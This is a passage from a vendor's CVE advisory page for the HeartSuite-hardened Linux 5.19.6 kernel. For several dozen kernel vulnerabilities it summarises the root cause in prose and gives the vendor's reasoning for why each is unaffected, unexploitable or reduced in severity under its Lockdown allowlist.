CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. The vulnerable path runs during a failed mount — for example when ext4_es_register_shrinker() or journal loading fails partway through ext4_fill_super(). On a Root Lock by HeartSuite system, sys_hs_lockdown_hs() blocks all mount paths at kernel/namespace.c:4218, 4300, 4453; do_mount() returns EPERM before any filesystem setup begins. No approved process in the HS allowlist carries a mount allowlist entry, and unapproved programs are refused execution by the kernel’s SPF gate regardless of file ownership or privilege. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-49983

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; do_mount() returns EPERM Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In ext4_ext_replay_update_ex() at fs/ext4/extents.c:5860, line 5879 assigns ppath = path, making both local variables alias the same allocation. Line 5881 then calls ext4_force_split_extent_at(NULL, inode, &ppath, start, 1), passing the address of ppath. Inside, ext4_split_extent_at() calls ext4_ext_insert_extent() which may invoke ext4_ext_grow_indepth() and reallocate *ppath via kcalloc(). When that happens, the outer ppath is updated to the new allocation and the original memory is freed — but path still holds the original (now stale) pointer. The kfree(path) call at line 5885 then frees already-freed memory, constituting a double-free/use-after-free. The bug is exercised during fast-commit journal replay.

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. The vulnerable path runs during fast-commit journal replay, triggered on mount after an unclean shutdown of a filesystem with the fast-commit feature enabled. On a Root Lock by HeartSuite system, sys_hs_lockdown_hs() blocks all mount paths at kernel/namespace.c:4218, 4300, 4453; do_mount() returns EPERM before any filesystem setup begins. No approved process in the HS allowlist carries a mount allowlist entry, and unapproved programs are refused execution by the kernel’s SPF gate regardless of file ownership or privilege. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-50007

Status: Not Affected Component: ASIHPI soundcard driver (CONFIG_SND_ASIHPI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_ASIHPI not compiled

The ASIHPI driver writes firmware-controlled index values into a static array without bounds-checking the index. CONFIG_SND_ASIHPI is not set in the HS 5.19.6 kernel configuration; the driver and this code path are absent from the compiled kernel image.

CVE-2022-48951

Status: Not Affected Component: ALSA SoC layer (CONFIG_SND_SOC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_SOC not compiled

snd_soc_put_volsw_sx() applies bounds checks only to the first channel, allowing out-of-bounds writes to the second. CONFIG_SND_SOC is not set in the HS 5.19.6 kernel configuration; the ALSA SoC layer and this function are absent from the compiled kernel image.

CVE-2022-48956

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

ip6_fragment() at net/ipv6/ip6_output.c:831 handles IPv6 packet fragmentation. The function and its callees access RCU-protected routing and neighbor table entries; a prior commit added an assumption that all callers hold the RCU read lock at entry. For the IPv4-style fast path via ip6_finish_output2() this holds — rcu_read_lock_bh() is acquired at line 119. However the UDP egress path (ip6_send_skb() at line 1940 → ip6_local_out() → ip6_output() → ip6_finish_output() → ip6_fragment()) does not guarantee the lock is held before entry into the fragmentation code. Under concurrent route or neighbor table modification this produces a use-after-free. Syzbot confirmed the race.

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. IPv6 is active on any Debian 11 server that has IPv6 addresses configured; the UDP-over-IPv6 fragmentation path is reachable by any process with a UDP socket. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2022-49022

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In ieee80211_get_rate_duration() at net/mac80211/airtime.c:455, airtime_mcs_groups[group].duration[idx] is accessed where group is computed from bandwidth, stream count, and encoding mode via the VHT_GROUP_IDX/HT_GROUP_IDX/HE_GROUP_IDX macros. The stream-count bounds check at line 451 guards one dimension, but an invalid combination of bandwidth and stream count can produce a group index that exceeds the airtime_mcs_groups array bounds, triggering a UBSAN array-index-out-of-bounds read.

CONFIG_MAC80211=y is compiled in. No WiFi NIC is present on a Debian 11 server deployment; mac80211 creates no wireless interfaces without hardware and this code path is never reached. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or preserve access across a reboot.

CVE-2022-49023

Status: Not exploitable Component: cfg80211 wireless framework (CONFIG_CFG80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In net/wireless/scan.c:338, when merging per-STA profile elements in the multi-BSSID path, the code calls memcmp(tmp_old + 2, tmp + 2, 5) to compare the OUI (3 bytes) + type (1 byte) + subtype (1 byte) of a vendor element, without first checking that either IE has at least 5 bytes of data. A vendor element with fewer than 5 data bytes causes an out-of-bounds read beyond the element buffer.

CONFIG_CFG80211=y is compiled in. No WiFi NIC is present on a Debian 11 server deployment; cfg80211 creates no wireless interfaces without hardware and this code path is never reached. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or preserve access across a reboot.

CVE-2024-50278

Status: Not Affected Component: dm-cache (CONFIG_DM_CACHE) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_DM_CACHE not compiled

If the cache device is expanded between initial load and first-time resume, the bitsets (dirty_bitset, discard_bitset) allocated in dm-cache-target.c are sized to the pre-expansion block count. On resume, cache-block indices derived from the new device size exceed the allocated bitset bounds, causing an out-of-bounds access. CONFIG_DM_CACHE is not set in the HS 5.19.6 kernel configuration; the dm-cache target and this code path are absent from the compiled kernel image.

CVE-2024-50279

Status: Not Affected Component: dm-cache (CONFIG_DM_CACHE) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_DM_CACHE not compiled

When shrinking the fast (cache) device, dm-cache iterates the dirty_bitset to identify cache blocks that must be flushed before being dropped. An index error in the bitset iteration produces a bit index that exceeds the allocated bitset bounds, causing an out-of-bounds access. CONFIG_DM_CACHE is not set in the HS 5.19.6 kernel configuration; the dm-cache target and this code path are absent from the compiled kernel image.

CVE-2024-53147

Status: Not exploitable Component: FAT/exFAT filesystem (CONFIG_FAT_FS) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Score on HeartSuite: 0.0 — Lockdown blocks mount(); no adversary-controlled FAT filesystem reachable Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In fs/exfat/dir.c, when iterating directory entries, the cluster-walk loop at line 105 calls exfat_get_next_cluster(sb, &(clu.dir)) to follow the FAT chain. If a directory’s size is at least one cluster (so clu_offset > 0) and ei->start_clu was set to EXFAT_EOF_CLUSTER (0xFFFFFFFF) due to filesystem corruption, clu.dir starts at 0xFFFFFFFF. The call at line 106 then attempts a FAT table lookup at index 0xFFFFFFFF, which is far outside the FAT table’s num_clusters entries, causing an out-of-bounds read.

CONFIG_FAT_FS=y is compiled in and HS 5.19.6 falls within the affected range. exFAT is compiled in and is used for the EFI system partition; the vulnerable path is triggered by traversing a corrupted exFAT directory. The adversary must be able to present a crafted exFAT image — mounting an external device or network share requires mount(), which Lockdown blocks unconditionally. The EFI system partition is already mounted at boot time and its contents are controlled by the administrator; an external attacker cannot inject a malformed exFAT directory into the in-use ESP. On a Root Lock by HeartSuite system in Lockdown, the kernel additionally blocks any process without an allowlist entry from executing, closing the exploitation path before it can reach the vulnerable directory traversal code.

CVE-2024-53150

Status: Not Affected Component: USB audio driver (CONFIG_SND_USB_AUDIO) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_USB_AUDIO not compiled

The USB-audio driver does not validate bLength of each descriptor when traversing clock descriptors, allowing a malformed USB device to cause an out-of-bounds read. CONFIG_SND_USB_AUDIO is not set in the HS 5.19.6 kernel configuration; the USB audio driver and this descriptor-traversal path are absent from the compiled kernel image.

CVE-2024-53170

Status: Affected Component: SCSI subsystem (CONFIG_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In blk_mq_exit_hctx() at block/blk-mq.c:3440, the call to blk_mq_clear_flush_rq_mapping() (line 3441) is guarded by if (blk_queue_init_done(q)). During SCSI device probe, the queue is not yet fully initialized, so this condition is false and blk_mq_clear_flush_rq_mapping() is skipped. The function is responsible for atomically clearing the flush_rq pointer from every slot in tags->rqs[]. When skipped, flush_rq is subsequently freed but its pointer remains live in the rqs[] array. Any later iteration over tags->rqs[] — such as during a tag-set teardown or request lookup — dereferences the stale pointer, constituting a use-after-free.

CONFIG_SCSI=y is compiled in and HS 5.19.6 falls within the affected range. The SCSI subsystem underpins block storage on Debian 11 via libata; the vulnerable path is triggered during SCSI probe teardown when initialization does not complete successfully. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-53173

Status: Not exploitable Component: NFS v4 client (CONFIG_NFS_V4) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; no NFS v4 share reachable on HS deployments Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

nfs_release_seqid() at fs/nfs/nfs4state.c:1088 removes a seqid from the sequence wait-list and wakes the next waiter (rpc_wake_up_queued_task() at line 1102). When two threads open the same file concurrently and both abort before receiving a reply, two separate code paths each call nfs_release_seqid() on the same nfs_seqid: the prepare callback at fs/nfs/nfs4proc.c:2462 (when nfs4_setup_sequence() returns non-zero) and the done/release callback at line 2061. The second call finds seqid->list already empty and returns without action, but by this point nfs_free_seqid() may have freed the seqid object. The task woken by the first release can dereference seqid->sequence through the nfs_seqid pointer it holds — now pointing to freed memory — constituting a use-after-free.

CONFIG_NFS_V4=y is compiled in and HS 5.19.6 falls within the affected range. The vulnerable seqid use-after-free path is only reachable when an NFS v4 share is mounted. On a Root Lock by HeartSuite system, Lockdown blocks mount() unconditionally — do_mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c:4218, 4300, 4453). No NFS v4 filesystem can be mounted by any process, so the vulnerable code path is never reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-53214

Status: Not Affected Component: VFIO subsystem (CONFIG_VFIO) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_VFIO not compiled

In drivers/vfio/pci/vfio_pci_config.c, the VFIO PCI extended-capability enumeration loop at line 1638 hides capabilities with unknown length by rewriting the next pointer in the previous entry’s header. When a capability should be hidden but occupies the first position in the extended-capability chain, the pointer fixup path has incorrect behaviour, allowing a misconfigured or malicious guest to reach memory it should not. CONFIG_VFIO is not set in the HS 5.19.6 kernel configuration; the VFIO subsystem and this PCI config-space virtualisation path are absent from the compiled kernel image.

CVE-2024-53227

Status: Not Affected Component: Brocade bfa FC driver (CONFIG_SCSI_BFA_FC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_BFA_FC not compiled

In the Brocade bfa Fibre Channel adapter driver (drivers/scsi/bfa/), a use-after-free occurs during driver load: an internal object containing an embedded spinlock is freed while lockdep still holds a reference to that lock, producing a KASAN slab-use-after-free splat inside __lock_acquire. CONFIG_SCSI_BFA_FC is not set in the HS 5.19.6 kernel configuration; the Brocade bfa driver is absent from the compiled kernel image.

CVE-2024-53239

Status: Not Affected Component: 6fire USB audio driver (CONFIG_SND_USB_6FIRE) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_USB_6FIRE not compiled

In the TerraTec AUREON 6fire USB audio driver (sound/usb/6fire/chip.c), usb6fire_chip_disconnect() calls usb6fire_chip_abort() at line 183 — which schedules a deferred snd_card_free_when_closed() and nulls chip->card — immediately followed by usb6fire_chip_destroy() at line 184, which frees the underlying sub-resources. When userspace still holds the card open, the deferred free races against the destroy path, producing a use-after-free. CONFIG_SND_USB_6FIRE is not set in the HS 5.19.6 kernel configuration; the driver is absent from the compiled kernel image.

CVE-2024-56609

Status: Not Affected Component: Realtek rtw88 WiFi driver (CONFIG_RTW88) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_RTW88 not compiled

In the Realtek rtw88 802.11ac/ax wireless driver (drivers/net/wireless/realtek/rtw88/tx.c), rtw_tx_report_purge_timer() at line 160 calls skb_queue_purge() at line 172 to discard queued TX-report SKBs when the firmware fails to acknowledge them. Because ieee80211_tx_status() is never called for the discarded SKBs, mac80211 retains a reference to the associated station structure after it has been freed, producing a use-after-free during driver teardown. CONFIG_RTW88 is not set in the HS 5.19.6 kernel configuration; the rtw88 driver family is absent from the compiled kernel image.

CVE-2024-56631

Status: Not exploitable Component: SCSI generic driver (CONFIG_CHR_DEV_SG) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — /dev/sg* access not in HS allowlist; Lockdown blocks the exploitation trigger Affected range: Linux ≤ 6.12-rc7 Upstream fix: commit 4a9804207b58 (“scsi: sg: Fix UAF in sg_release()”)

In the SCSI generic device driver (drivers/scsi/sg.c), sg_release() at line 382 acquires sdp->open_rel_lock at line 391, then calls kref_put(&sfp->f_ref, sg_remove_sfp) at line 393. If that kref_put drops the last reference, sg_remove_sfp is invoked, which can free the Sg_device structure that sdp points to — including its embedded mutex. The subsequent mutex_unlock(&sdp->open_rel_lock) at line 404 then operates on freed memory, producing a KASAN slab-use-after-free in lock_release.

CONFIG_CHR_DEV_SG=y is compiled in. Reaching sg_release() in the race window requires an active open of a /dev/sg* device node — SCSI generic pass-through that requires CAP_SYS_RAWIO. No Root Lock by HeartSuite deployment includes raw SCSI access in the Lockdown allowlist. Without an allowlist entry, the kernel refuses any process attempting to open /dev/sg*. An attacker who has already gained root cannot add one: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2024-56663

Status: Not exploitable Component: cfg80211 wireless stack (CONFIG_CFG80211) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present

In net/wireless/nl80211.c, the netlink policy for NL80211_ATTR_MLO_LINK_ID at line 797 uses NLA_POLICY_RANGE(NLA_U8, 0, IEEE80211_MLD_MAX_NUM_LINKS) — where IEEE80211_MLD_MAX_NUM_LINKS = 15 (include/linux/ieee80211.h:4349). Since the range check is inclusive, link ID 15 passes validation. Structures such as cfg80211_bss size their links[] array with 15 entries (valid indices 0–14); an attacker-supplied link ID of 15 indexes one element past the end of the array, producing an out-of-bounds access. CONFIG_CFG80211=y is compiled in. No WiFi network interface card is present on a server deployment; without WiFi hardware, no wireless interfaces are created and the MLO link ID path is never reachable.

CVE-2024-57899

Status: Not Affected Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — 32-bit-specific vulnerability; HS kernel is x86_64

In the mac80211 wireless stack, a type-size mismatch between unsigned long (4 bytes on 32-bit) and u64 (8 bytes) causes incorrect arithmetic or storage on 32-bit architectures. On x86_64, sizeof(unsigned long) == sizeof(u64) == 8; the size mismatch condition cannot arise. CONFIG_X86_64=y in the HS 5.19.6 configuration; additionally, no WiFi hardware is present on a server deployment.

CVE-2025-21863

Status: Affected Component: io_uring (CONFIG_IO_URING) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: Linux ≤ 6.13-rc6 Upstream fix: commit 838154be1ea7 (“io_uring: sanitise sqe->opcode against speculations”)

What this means for an attacker:

In io_uring/io_uring.c, io_init_req() reads sqe->opcode from userspace and checks it against IORING_OP_LAST at line 8385. Without a Spectre v1 barrier, the CPU’s speculative execution engine can index into io_op_defs[] at line 8389 before the bounds-check branch resolves, enabling a microarchitectural side-channel read of kernel memory at speculative offsets. The upstream fix inserts array_index_nospec(opcode, IORING_OP_LAST) before the array access.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IO_URING=y is compiled in and 5.19.6 falls within the affected range. Reaching the vulnerable io_uring path requires a process to submit crafted SQEs via io_uring_enter(); this is a normal operation for any application using io_uring. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-52930

Status: Not exploitable Component: Intel i915 DRM driver (CONFIG_DRM_I915) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present

In drivers/gpu/drm/i915/gem/i915_gem_tiling.c, i915_gem_object_set_tiling() releases the gem object lock at line 308, then performs an unguarded check-and-free of obj->bit_17 at lines 314–322. Two threads concurrently calling I915_GEM_SET_TILING to set tiling to I915_TILING_NONE can both enter the else branch at line 319 and both call bitmap_free(obj->bit_17) at line 320, producing a double-free. Conversely, two threads setting a swizzled tiling mode can both pass the !obj->bit_17 check at line 315 and both call bitmap_zalloc, leaking the first allocation. CONFIG_DRM_I915=y is compiled in. No Intel integrated or discrete display GPU is present on this server deployment; DRM device nodes are not created and the GEM ioctl path is unreachable.

CVE-2023-52988

Status: Not exploitable Component: Intel HDA audio driver (CONFIG_SND_HDA_INTEL) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

In sound/pci/hda/patch_via.c, via_auto_init_analog_input() calls snd_hda_get_connections() at line 820 and stores the return value in nums. The function can return a negative error code. The subsequent loop at line 822 (for (i = 0; i < nums; i++)) is a no-op for negative nums, but the conn[nums++] write at line 832 then indexes the conn[] array at a negative offset, producing an out-of-bounds write. CONFIG_SND_HDA_INTEL=y is compiled in. No audio hardware is present on a headless server deployment; HDA codec probing never runs and the vulnerable path is never reached.

CVE-2025-21993

Status: Not Affected — CONFIG_ISCSI_IBFT not set Component: iSCSI iBFT driver (CONFIG_ISCSI_IBFT) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_ISCSI_IBFT not compiled in HS kernel

In the iSCSI Boot Firmware Table (iBFT) kernel driver, the subnet-mask field read from /sys/firmware/ibft/ethernetX/subnet-mask during an IPv6 iSCSI boot contains a memory safety issue. CONFIG_ISCSI_IBFT is not set in the HS 5.19.6 kernel configuration; the iBFT sysfs interface is absent from the compiled kernel image.

CVE-2025-22083

Status: Not Affected Component: vhost-SCSI driver (CONFIG_VHOST_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_VHOST_SCSI not compiled

In drivers/vhost/scsi.c, vhost_scsi_set_endpoint() at line 1531 does not guard against being called multiple times without an intervening vhost_scsi_clear_endpoint(). Duplicate invocations corrupt the vs_tpg pointer array and reference counts, triggering use-after-free and null-pointer conditions. CONFIG_VHOST_SCSI is not set in the HS 5.19.6 kernel configuration; the vhost-SCSI virtualisation driver is absent from the compiled kernel image.

CVE-2025-22121

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 7.1 HIGH — base I:N; Lockdown limits post-exploitation persistence Affected range: Linux ≤ 6.13-rc3 Upstream fix: commit 34f96e89f84c (“ext4: fix UAF in ext4_xattr_inode_dec_ref_all()”)

What this means for an attacker:

In fs/ext4/xattr.c, ext4_xattr_inode_dec_ref_all() at line 1127 iterates over xattr entries, calling ext4_xattr_inode_iget() at line 1148 to obtain each ea_inode. If ext4_expand_inode_array() at line 1154 fails, iput(ea_inode) at line 1158 frees the inode. When the journal restart function (ext4_xattr_restart_fn) subsequently runs, it can re-encounter the same entry and dereference the freed inode at line 1182 (ext4_xattr_inode_dec_ref), producing a use-after-free. The published vector is C:H/I:N/A:H — disclosure and crash, not direct privilege escalation.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. Reaching the xattr teardown path requires a process to manipulate extended attributes on an ext4 filesystem — a standard operation available to any user with file access. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

The attacker cannot turn this UAF into anything that runs new code. Even if a follow-on memory-corruption bug is chained in to escalate to root, Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2025-37785

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; crafted ext4 image cannot be mounted Affected range: Linux ≤ 6.14-rc4 Upstream fix: commit 4f45d4452e6b (“ext4: fix OOB read when mounting corrupted fs”)

In fs/ext4/dir.c, when a corrupted ext4 directory block contains a '.' entry whose rec_len equals the filesystem block size, the iteration offset at line 246 jumps to exactly block_size after the first entry. During directory removal, a subsequent traversal computes a de pointer one block past the buffer boundary, producing an out-of-bounds read.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. Triggering the out-of-bounds read requires mounting an ext4 filesystem image containing a corrupted directory block. sys_hs_lockdown_hs() sets HS_lockdown_state = 7, blocking all mount paths at kernel/namespace.c:4218, 4300, 4453 with EPERM; do_mount() returns EPERM before any ext4 directory parsing code is reached. In Lockdown, no approved program in the HS allowlist carries a mount entry — the kernel SPF gate enforces this independently of Lockdown. The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2025-40364

Status: Affected Component: io_uring (CONFIG_IO_URING) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: Linux ≤ 6.14-rc5 Upstream fix: commit 0f2122045b94 (“io_uring: don’t import buffers for async preparation”)

What this means for an attacker:

In io_uring/io_uring.c, io_req_prep_async() at line 7829 prepares an asynchronous copy of a request’s state. For requests using provided buffers (IOSQE_BUFFER_SELECT), the function can select and consume a buffer slot during the async preparation phase. If the ring state is then discarded before the I/O completes — for example, when the async path is abandoned and the request is retried — the buffer slot is consumed but the reference is lost, allowing the slot to be selected again by a subsequent request and producing a use-after-free of the shared buffer metadata.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IO_URING=y is compiled in and 5.19.6 falls within the affected range. Reaching the provided-buffer UAF path requires a process to submit io_uring SQEs with IOSQE_BUFFER_SELECT in a pattern where the async preparation phase selects a buffer slot before the request is discarded. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2025-37738

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; crafted xattr image cannot be mounted Affected range: Linux ≤ 6.13-rc3 Upstream fix: commit b631e432b12d (“ext4: fix xattr inode dec ref boundary”)

In fs/ext4/xattr.c, ext4_xattr_inode_dec_ref_all() at line 1143 iterates xattr entries with for (entry = first; !IS_LAST_ENTRY(entry); entry = EXT4_XATTR_NEXT(entry)). The loop has no upper-boundary parameter: it relies solely on the IS_LAST_ENTRY() zero-terminator sentinel. A corrupted xattr block without a valid terminating entry causes the loop to walk past the end of the allocated buffer, reading and dereferencing arbitrary memory.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. Triggering the unbounded xattr loop requires mounting a filesystem with a corrupted xattr block that lacks the valid zero-terminator sentinel. sys_hs_lockdown_hs() sets HS_lockdown_state = 7, blocking all mount paths at kernel/namespace.c:4218, 4300, 4453 with EPERM; do_mount() returns EPERM before any ext4 xattr parsing code is reached. In Lockdown, no approved program in the HS allowlist carries a mount entry — the kernel SPF gate enforces this independently of Lockdown. The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2022-49789

Status: Not Affected Component: IBM Z Fibre Channel driver (CONFIG_ZFCP) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_ZFCP not compiled

In drivers/s390/scsi/zfcp_fsf.c, zfcp_fsf_req_send() stores the FSF request ID in a variable of the wrong integer type, causing the ID to be truncated on architectures where the required width exceeds that type. CONFIG_ZFCP is not present in the HS 5.19.6 kernel configuration; the IBM Z Fibre Channel driver is s390-architecture-specific and is absent from the x86_64 compiled kernel image.

CVE-2022-49842

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

In the ALSA sound subsystem, a use-after-free occurs in device_del() during driver module removal. When an ALSA driver is unloaded, a device object is freed while still referenced by a concurrent access path, producing a KASAN use-after-free report at device_del+0xb5b by the rmmod task.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2022-49865

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 7.1 HIGH — base I:N; Lockdown limits post-exploitation persistence Affected range: Linux 5.4–5.19.6 Upstream fix: kernel.org stable queue (net/ipv6/addrlabel.c)

What this means for an attacker:

In net/ipv6/addrlabel.c, ip6addrlbl_putmsg() (line 438) constructs a struct ifaddrlblmsg for a netlink reply. The function writes ifal_family, ifal_prefixlen, ifal_flags, and ifal_seq but never zeroes the __ifal_reserved padding byte. That uninitialised byte is subsequently copied to userspace via nlmsg_unicast(), leaking one byte of kernel stack memory per IPv6 address-label query.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and 5.19.6 falls within the affected range. Any process with access to a NETLINK_ROUTE socket can trigger the infoleak — no elevated privilege is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

The attacker cannot turn this leak into anything that runs new code. Even if a follow-on memory-corruption bug is chained in to escalate to root, Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-53037

